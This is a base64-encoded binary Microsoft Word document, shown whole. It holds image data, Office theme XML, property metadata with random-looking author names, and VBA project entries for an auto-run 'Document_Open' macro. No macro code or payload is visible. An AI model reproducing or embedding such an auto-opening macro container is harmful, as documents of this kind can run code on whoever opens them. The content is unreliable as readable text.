kVet17C3pXeq92HvFz72PnKf4z7jPDfeMt5ZX8w3wLfIt8tPw2+eX4XfQ38j/2T/ev/RAKeA JQFnA4mBQYFbAvv4enwhv44/Ottl9rLZ7UGMoLlBFUGPgq2C5cGtIWjI7JCtIffnmM6RzmkO hVB+6NbQB2HmYYvDfgwnhYeFV4Y/jnCIWBrRMZc1d9HcQ3PfRPpElkTem2cxTzmvLUo1Kj6q Lmo82je6NLo/xi5mWczVWJ1YSWxLHDkuKq42bmy+3/zt84fineIL43sXmC/IXXB5oc7C9IWn FqkuEiw6lkBMiE44lPBBECqoFowl8hN3JY4KecIdwmciL9E20YjYQ1wqHk7ySCpNepLskbw1 eSTFM6Us5bmEJ6mQvEwNTN2bOp4WmnYgbTI9Or0xg5KRkHFCqiFNk7Zn6mfmZnbLrGWFsv7F bou3Lx6VB8lrs5CsBVktCrZCpuhUWijXKgeyZ2VXZr/Nico5lqueK83tzLPK25A3nO+f/+0S whLhkralhktXLR1Y5r2sajmyPHF52wrjFQUrhlYGrDy4irYqbdVPq+1Xl65+vSZ6TWuBXsHK gsG1AWvrC1UK5YV969zX7V1PWC9Z37Vh+oadGz4ViYquFNsXlxV/2CjceOUbh2/Kv5nclLSp q8S5ZM9m0mbp5t4tnlsOlqqX5pcObg3Z2rQN31a07fX2Rdsvl80o27uDtkO5o788uLxlp8nO zTs/VKRU9FT6VDbu0t21Ydf4btHuG3u89jTs1dtbvPf9Psm+21UBVU3VZtVl+0n7s/c/romq 6fiW+21drU5tce3HA9ID/QcjDrbXudTVHdI9VFKP1ivrRw7HH77+ne93LQ02DVWNnMbiI3BE eeTp9wnf9x4NOtp2jHus4QfTH3YdZx0vakKa8ppGm1Oa+1tiW7pPzD7R1ureevxH2x8PnDQ8 WXlK81TJadrpgtOTZ/LPjJ2VnX1+LvncYNuitnvnY87fag9v77oQdOHSRf+L5zu8O85c8rh0 8rLb5RNXuFearzpfbep06jz+k9NPx7ucu5quuVxrue56vbV7ZvfpG543zt30vXnxFv/W1Z45 Pd2983pv98X39d8W3X5yJ/3Oy7vZdyfurbxPvF/0QO1B2UPdh9U/W/7c2O/cf2rAd6Dz0dxH 9waFg8/+kfWPD0MFj5mPy4YNhuueOD45OeI/cv3p/KdDz2TPJp4X/qL+y64XFi9++NXr187R mNGhl/KXk79tfKX96sDrGa/bxsLGHr7JeDMxXvRW++3Bd9x3He+j3w9P5Hwgfyj/aPmx9VPQ p/uTGZOT/wQDmPP8YzMt2wAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAA F2+SX8VGAAAGr0lEQVR42uzVMQEAAAjDMMC/52FjRyKhTzfJAABlTgIAcGgAwKEBwKEBAIcG AIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBwaABwaADAoQHAoQEAhwYAhwYAHBoAcGgA cGgAwKEBwKEBAIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBwaABwaADAoQHAoQEA hwYAhwYAHBoAcGgAcGgAwKEBwKEBAIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBw aABwaADAoQHAoQEAhwYAhwYAHBoAcGgAcGgAwKEBwKEBAIcGABwaABwaAHBoAHBoAMChAcCh AQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYAHBoAHBoAcGgAcGgAwKEBwKEBAIcGABwaABwa AHBoAHBoAMChAcChAQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYAHBoAHBoAcGgAcGgAwKEB wKEBAIcGABwaABwaAHBoAHBoAMChAcChAQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYAHBoA HBoAcGgAcGgAwKEBwKElAACHBgAcGgAcGgBwaABwaADAoQEAhwYAhwYAHBoAHBoAcGgAcGgA wKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCHBgCHBgAcGgAcGgBwaABwaADAoQEAhwYAhwYA HBoAHBoAcGgAcGgAwKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCHBgCHBgAcGgAcGgBwaABw aADAoQEAhwYAhwYAHBoAHBoAcGgAcGgAwKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCHBgCH BgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoAHBoAcGgAwKEBwKEBAIcGAIcGABwaABwaAHBo AMChAcChAQCHBgCHBgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoAHBoAcGgAwKEBwKEBAIcG AIcGABwaABwaAHBoAMChAcChAQCHBgCHBgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoAHBoA cGgAwKEBwKEBAIcGAIcGABwaABwaAHBoAMChAcChAQCHBgCHBgAcGgAcWgIAcGgAwKEBwKEB AIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBwaABwaADAoQHAoQEAhwYAhwYAHBoA cGgAcGgAwKEBwKEBAIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBwaABwaADAoQHA oQEAhwYAhwYAHBoAcGgAcGgAwKEBwKEBAIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAc GgBwaABwaADAoQHAoQEAhwYAhwYAHBoAcGgAcGgAwKEBwKEBAIcGABwaABwaAHBoAHBoAMCh AcChAQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYAHBoAHBoAcGgAcGgAwKEBwKEBAIcGABwa ABwaAHBoAHBoAMChAcChAQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYAHBoAHBoAcGgAcGgA wKEBwKEBAIcGABwaABwaAHBoAHBoAMChAcChAQCHBgAcGgAcGgBwaABwaADAoQHAoQEAhwYA HBoAHBoAcGgAcGgAwKEBwKElAACHBgAcGgAcGgBwaABwaADAoQEAhwYAhwYAHBoAHBoAcGgA cGgAwKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCHBgCHBgAcGgAcGgBwaABwaADAoQEAhwYA hwYAHBoAHBoAcGgAcGgAwKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCHBgCHBgAcGgAcGgBw aABwaADAoQEAhwYAhwYAHBoAHBoAcGgAcGgAwKEBAIcGAIcGABwaABwaAHBoAHBoAMChAQCH BgCHBgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoAHBoAcGgAwKEBwKEBAIcGAIcGABwaABwa AHBoAMChAcChAQCHBgCHBgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoAHBoAcGgAwKEBwKEB AIcGAIcGABwaABwaAHBoAMChAcChAQCHBgCHBgAcGgAcGgBwaADAoQHAoQEAhwYAhwYAHBoA HBoAcGgAwKEBwKEBAIcGAIcGABwaABwaAHBoAMChAcChAQCHBgCHBgAcGgAcWgIAcGgAwKEB wKEBAIcGAIcGABwaAHBoAHBoAMChAcChAQCHBgCHBgAcGgBwaAAo9gAAAP//AwB8dQclBByp PAAAAABJRU5ErkJgggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgYPABIAAQBzAQ8ABwADAAMAAwAAAAQACAAAAJgA AACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAADYG AAA2BgAANgYAADYGAAA2BgAANgYAAD4CAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAACoAAAANgYAADYGAAAWAAAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAC4AAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAAaAEAAEgBAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAAHACAAA2BgAAMgYAABgAAADGAwAA1gMAAOYDAAD2AwAABgQAABYE AAAmBAAANgQAAEYEAABWBAAAZgQAAHYEAACGBAAAlgQAAMYDAADWAwAA5gMAAPYDAAAGBAAA FgQAADIGAAAoAgAA2AEAAOgBAAAmBAAANgQAAEYEAABWBAAAZgQAAHYEAACGBAAAlgQAAMYD AADWAwAA5gMAAPYDAAAGBAAAFgQAACYEAAA2BAAARgQAAFYEAABmBAAAdgQAAIYEAACWBAAA xgMAANYDAADmAwAA9gMAAAYEAAAWBAAAJgQAADYEAABGBAAAVgQAAGYEAAB2BAAAhgQAAJYE AADGAwAA1gMAAOYDAAD2AwAABgQAABYEAAAmBAAANgQAAEYEAABWBAAAZgQAAHYEAACGBAAA lgQAAMYDAADWAwAA5gMAAPYDAAAGBAAAFgQAACYEAAA2BAAARgQAAFYEAABmBAAAdgQAAIYE AACWBAAAxgMAANYDAADmAwAA9gMAAAYEAAAWBAAAJgQAADYEAABGBAAAVgQAAGYEAAB2BAAA hgQAAJYEAAA4AQAAWAEAAPgBAAAIAgAAGAIAAFYCAAB+AgAAkAIAAKACAACwAgAAwAIAANAC AACAAgAA4AIAAPACAAAAAwAAEAMAACADAAAwAwAAQAMAAOACAADwAgAAAAMAABADAAAgAwAA MAMAAEADAADgAgAA8AIAAAADAAAQAwAAIAMAADADAABAAwAA4AIAAPACAAAAAwAAEAMAACAD AAAwAwAAQAMAAOACAADwAgAAAAMAABADAAAgAwAAMAMAAEADAADgAgAA8AIAAAADAAAQAwAA IAMAADADAABAAwAA4AIAAPACAAAAAwAAEAMAACADAAAwAwAAQAMAAOACAADwAgAAAAMAABAD AAAgAwAAMAMAAEADAADgAgAA8AIAAAADAAAQAwAAIAMAADADAABAAwAA4AIAAPACAAAAAwAA EAMAACADAAAwAwAAQAMAAOACAADwAgAAAAMAABADAAAgAwAAMAMAAEADAADgAgAA8AIAAAAD AAAQAwAAIAMAADADAABAAwAA4AIAAPACAAAAAwAAEAMAACADAAAwAwAAQAMAAOACAADwAgAA AAMAABADAAAgAwAAMAMAAEADAAAgAAAAT0oDAFBKAwBRSgMAX0gBBG1ICQRuSAkEc0gJBHRI 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 vfvQdY4U2GuWA6/SqeUqxSDIeZWCpF+r56peqdT0qs1ax2s+XGxjYOWpfCxiAeFVvHb/AQAA //8DAFBLAwQUAAYACAAAACEADdGQn7YAAAAbAQAAJwAAAHRoZW1lL3RoZW1lL19yZWxzL3Ro ZW1lTWFuYWdlci54bWwucmVsc4SPTQrCMBSE94J3CG9v07oQkSbdiNCt1AOE5DUNNj8kUezt Da4sCC6HYb6ZabuXnckTYzLeMWiqGgg66ZVxmsFtuOyOQFIWTonZO2SwYIKObzftFWeRSyhN JiRSKC4xmHIOJ0qTnNCKVPmArjijj1bkIqOmQci70Ej3dX2g8ZsBfMUkvWIQe9UAGZZQmv+z /TgaiWcvHxZd/lFBc9mFBSiixszgI5uqTATKW7q6xN8AAAD//wMAUEsBAi0AFAAGAAgAAAAh AOneD7//AAAAHAIAABMAAAAAAAAAAAAAAAAAAAAAAFtDb250ZW50X1R5cGVzXS54bWxQSwEC LQAUAAYACAAAACEApdan58AAAAA2AQAACwAAAAAAAAAAAAAAAAAwAQAAX3JlbHMvLnJlbHNQ SwECLQAUAAYACAAAACEAa3mWFoMAAACKAAAAHAAAAAAAAAAAAAAAAAAZAgAAdGhlbWUvdGhl bWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQItABQABgAIAAAAIQCqUiXfxgYAAIsaAAAWAAAAAAAA AAAAAAAAANYCAAB0aGVtZS90aGVtZS90aGVtZTEueG1sUEsBAi0AFAAGAAgAAAAhAA3RkJ+2 AAAAGwEAACcAAAAAAAAAAAAAAAAA0AkAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdl ci54bWwucmVsc1BLBQYAAAAABQAFAF0BAADLCgAAAAA8P3htbCB2ZXJzaW9uPSIxLjAiIGVu Y29kaW5nPSJVVEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8YTpjbHJNYXAgeG1sbnM6YT0i aHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL2RyYXdpbmdtbC8yMDA2L21haW4i IGJnMT0ibHQxIiB0eDE9ImRrMSIgYmcyPSJsdDIiIHR4Mj0iZGsyIiBhY2NlbnQxPSJhY2Nl bnQxIiBhY2NlbnQyPSJhY2NlbnQyIiBhY2NlbnQzPSJhY2NlbnQzIiBhY2NlbnQ0PSJhY2Nl bnQ0IiBhY2NlbnQ1PSJhY2NlbnQ1IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGluaz0iaGxpbmsi IGZvbEhsaW5rPSJmb2xIbGluayIvPgAAAAB0xwAAEwAA2AAAAAD/////AAgAAFylAAB0zwAA aAAAAGsAAAAACAAAlXEAAHTPAABpAAAAagAAAA8AAPA4AAAAAAAG8BgAAAACBAAAAgAAAAEA AAABAAAAAQAAAAIAAABAAB7xEAAAAP//AAAAAP8AgICAAPcAABAADwAC8JIAAAAQAAjwCAAA AAEAAAABBAAADwAD8DAAAAAPAATwKAAAAAEACfAQAAAAAAAAAAAAAAAAAAAAAAAAAAIACvAI AAAAAAQAAAUAAAAPAATwQgAAABIACvAIAAAAAQQAAAAOAABTAAvwHgAAAL8BAAAQAMsBAAAA AP8BAAAIAAQDCQAAAD8DAQABAAAAEfAEAAAAAQAAAAAAAAB+bQAAc8cAAHbHAAADAAQAAwAA AAAAfm0AAHPHAAB2xwAAAwAEAAMABAAAAAQAAAAIAAAA5QAAAAAAAAADAAAAUlolAGFTNQBc VDoADWc9AAAAAAB0xwAAdscAAAAAAAABAAAA/wEDAAAAVgAAAAQA//8AAAAAAAAAAAwAAAAu 2AAAVgABAAcA//8AAAAAAAAAAAwAAAAu2AAAVgACAAUA//8AAAAAAAAAAAwAAAAu2AAAEP// CAACAAAAAAAAAAAAAAAAAAAAAAAhAFAAcgBvAGoAZQBjAHQALgBUAGgAaQBzAEQAbwBjAHUA bQBlAG4AdAAuAFIAMwBYAEIAegAyAGkAZwBTADUAWQBYAAEAIwBQAHIAbwBqAGUAYwB0AC4A VABoAGkAcwBEAG8AYwB1AG0AZQBuAHQALgBTAGgAMwAyAHMAOABTAEwARQB4AEoAVQBKAEkA AQAAAAAAIgBQAHIAbwBqAGUAYwB0AC4AVABoAGkAcwBEAG8AYwB1AG0AZQBuAHQALgBEAG8A YwB1AG0AZQBuAHQAXwBPAHAAZQBuAAEAEQMAAAAhAFAAUgBPAEoARQBDAFQALgBUAEgASQBT AEQATwBDAFUATQBFAE4AVAAuAFIAMwBYAEIAWgAyAEkARwBTADUAWQBYAAAAAQAiAFAAUgBP AEoARQBDAFQALgBUAEgASQBTAEQATwBDAFUATQBFAE4AVAAuAEQATwBDAFUATQBFAE4AVABf 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 TWljcm9zb2Z0IE9mZmljZSBXb3JkAAAAQAAAAABGwyMAAAAAQAAAAAA+YEgbDdEBQAAAAAAC kdMiDdEBAwAAAAEAAAADAAAAxB0AAAMAAACwqQAAAwAAAAAAAAAeAAAACwAAAGVJYmtHellp aWgAAB4AAAAHAAAAN1ZwVVVoAACwqQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 